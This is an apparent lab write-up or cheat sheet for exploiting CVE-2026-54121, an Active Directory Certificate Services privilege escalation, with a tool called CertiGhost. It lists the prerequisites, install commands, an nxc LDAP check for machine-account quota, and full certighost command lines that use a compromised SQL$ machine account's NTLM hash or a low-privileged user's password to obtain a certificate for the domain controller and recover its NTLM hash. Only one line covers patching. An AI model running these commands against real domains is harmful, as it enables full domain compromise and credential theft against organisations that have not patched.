CVE-2026-54121 (Certighost)

https://github.com/0xNDI/certighost

CertiGhost RequirementsTo exploit CertiGhost, the environment must have an accessible Active Directory Certificate Services Enterprise CA running on an unpatched Windows server. The CA server, its IP address, and the CA name must either be discovered automatically or supplied to CertiGhost using options such as --ca-ip and --ca.
In addition, we need one of the following:
A low-privileged domain user who is permitted to create computer accounts in Active Directory.
The credentials or NTLM hash of an already compromised domain-joined machine account.
In our case, the SQL server had already been compromised. We therefore reused the existing SQL$ machine account and its NTLM hash instead of creating a new computer account.
Using the compromised machine account, CertiGhost manipulated the certificate request process so that the Enterprise CA issued a certificate representing the domain controller. The certificate was then used for PKINIT authentication as DC$, allowing us to obtain a Kerberos ticket and recover the domain controller machine account’s NTLM hash.
CertiGhost targets CVE-2026-54121, an Active Directory Certificate Services elevation-of-privilege vulnerability. Microsoft fixed the vulnerability with the security updates released on July 14, 2026. Consequently, the attack only works when the targeted CA server has not received the July 2026 security update.
Install Update on the CA Server Install-Module PSWindowsUpdate -Force; Import-Module PSWindowsUpdate; Get-WindowsUpdate -MicrosoftUpdate -Install -AcceptAll -AutoReboot

Installation

Install uv tools

curl -LsSf https://astral.sh/uv/install.sh | sh

source ~/.bashrc

Install certighost

uv tool install 'git+https://github.com/0xNDI/certighost.git'

Abuse Using a Machine Account

https://github.com/0xNDI/cvedetect

Install

uv tool install git+https://github.com/0xNDI/cvedetect

Check for CVE

cvedetect

Check whether domain users are allowed to create new computer accounts

nxc ldap 10.0.10.5 -u 'm.thompson' -p 'Pa$$w0rd' -M maq

No we cant add mashines to the domain ❌

Run certighost with mashine acc

certighost \
  -d westbridge.hsm \
  --dc-ip 10.0.10.5 \
  -u 'sql$' \
  -H :fa8ac699d29a6145ddefd012efa6ea60 \
  --ca-ip 10.0.10.5 \
  --ca CA01-AD-CA \
  --listener 192.168.210.2 \
  --computer-name 'sql$' \
  --computer-hash fa8ac699d29a6145ddefd012efa6ea60

Abuse Using a low priv user

Check whether domain users are allowed to create new computer accounts

nxc ldap 10.0.10.5 -u 'm.thompson' -p 'Pa$$w0rd' -M maq

Yes domain users are allowed to create new computer accounts ✅

Run certighost with low priv user

certighost \
  -d westbridge.hsm \
  -u 'm.thompson' \
  -p 'Pa$$w0rd' \
  --dc-ip 10.0.10.5